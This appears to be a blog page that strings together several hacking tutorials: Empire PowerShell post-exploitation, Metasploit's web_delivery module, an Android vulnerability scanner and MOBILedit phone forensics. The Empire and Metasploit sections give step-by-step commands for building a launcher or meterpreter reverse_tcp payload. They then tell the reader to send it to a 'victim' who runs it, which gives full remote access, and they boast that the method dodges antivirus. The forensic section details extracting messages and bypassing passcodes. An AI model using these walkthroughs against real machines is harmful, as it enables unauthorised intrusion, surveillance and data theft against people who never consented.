Hacking with Empire – PowerShell Post-Exploitation Agent

Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.

First download the Empire from the Link. And unzip the Empire_master.zip file in your PC.

First Move to the Directory Empire-master and then setup. Now install install.sh file.

It will ask you for server negotiation password. Enter password.

Now open empire file from empire directory. It will show Empire prompt.

Type help in empire prompt to see active commands.

Now move to listeners and type info to see Host name and Port number. To change the host name type set name <name> command and then type execute command. Use usestager launcher bat <host name> command and execute command. Launcher.bat file will be moved to tmp directory.

Now go to tmp Directory and click on launcher.bat file

Now you need to send launcher.bat file to your victim PC and it will show active session.

Type agents command to see all active Connections. Now use interact command with host name to interact with victim PC.

Type Help to see all agent commands.

Type info command to get agent info.

Type ipconfig command to see IP configuration.

Type Host Name to get Host Name.

Type sysinfo to get system Information.

Type Shell getmac to get mac address of victim PC.

Hack Remote Windows PC using Script Web Delivery

This module quickly fires up a web server that serves a payload. The provided command will start the specified scripting language interpreter and then download and execute the payload. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command himself, e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter. When using either of the PSH targets, ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.

Exploit Targets

Windows 7


Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/multi/script/web_delivery

msf exploit (web_delivery)>set lhost (IP of Local Host)

msf exploit (web_delivery)>set lport 4444

msf exploit (web_delivery)>set target 2

msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp

msf exploit (web_delivery)>exploit

Copy the highlighted text shown In below window and send it to the victim

When the victim paste the highlighted text in command prompt and run it ,you get the whole access of victim system

Now type sessions –l to display sessions opened when the victim opens the link

Now the session has opened type sysinfo to get system information, then type shell to enter into Victims command prompt.

How to Check Your Android Device Security

For checking your android security a very useful app is launch named VTS android First of all go to play store and search for vts android

Then open it and install it in your android device

When you installed it run this app It will show you its first screen, then click on bottom right side scan button for start scanning.

When you tap on scan buttton the scanning is get started and appear a DEVICE VULNERABILITY CHECKER

After DEVICE VULNERABILITY CHECKER it will show you the result.

Author:  Divyanshu is a budding Cyber Security Researcher. He likes to discover new facts and tools. He has performed the role of a trainee.

Forensic Investigation of Any Mobile Phone with MOBILedit Forensic

With MOBILedit Forensic you can view, search or retrieve all data from a phone with only a few clicks. This data includes call history, phonebook, text messages, multimedia messages, files, calendars, notes, reminders and raw application data. It will also retrieve all phone information such as IMEI, operating systems, firmware including SIM details (IMSI), ICCID and location area information. Where possible MOBILedit Forensic is also able to retrieve deleted data from phones and bypass the passcode, PIN and phone backup encryption.

Note: USB Debugging must be enabled.

Download the MOBILedit!  Forensic from here & Install on your PC. Now Click on MOBILedit! Forensic.

Click on Connect Option. MOBILEedit! Forensic Wizard will run and ask for Phone, Data file or SIM Card.

Select Phone Option.  Click on Next.

Now it will ask for type of connection. Select Cable Connection. And click on Next.

Now follow the instructions such as install Driver or turn on USB debugging if connecting Android.

Now connect the phone via data cable. If prompted choose connection mode to PC Sync or COM port. Click on Next Option.

It will show the connected mobile. Check your Mobile model and click on Next.

To take the Backup, first of all enter Owner Name, Device Evidence Number and Owner Phone Number.

Click on Browse Option to select the path folder where backup data will be stored and click on Next.

Now it will ask for part of file system to   backup. Choose Whole File System or Specified File Types such as Audio, Video or pictures. Then Click on Next.

Now it will show the progress bar for Back Up and after completion click on Next.

Now select the check box for Phone memory extraction and click on Next.

Now it will show the message for creation of memory dump on memory card file. Click on Next.

Now select the group….Cases   to organize device data or click on   <New Case > to create new case and click on Next.

If we have selected New Case Option, then it will ask for Case Number and investigator details .Enter Investigator Details and click on Next.

Now select the Template for Data Export and Click on Finish.

Now it will show the generated Forensic Report.

Select Connected Device Option.

Now it will generate a report with all the details such as Phone book, Call logs, messages, Files etc.

To get phone book details, select Phone book option

Now you can select sub option such as WhatApp to see WhatsApp Messages.

Click on Call Logs to see Missed Calls, Outgoing calls and Incoming calls.

Now Click on Messages to see all received, sent and draft messages.

Click on Application Data to get all the details about content providers.

Click on Application to see all the installed Apps in Mobile.

Select Files Option to see all the details about system files in Mobile.

Now Click on Media and select internal media or user media and then select pictures option to see Pictures.

To view User‘s Files, Click on Option User Files.

AuthorMukul Mohan is a Microsoft Certified System Engineer in Security and Messaging with high level of expertise in handling server side operations based on windows platform. An experienced IT Corporate Trainer and Computer Forensics Expert with over 20 years’ Experience.

You can contact him at mukul@hackingarticles.in


Related Posts Plugin for WordPress, Blogger...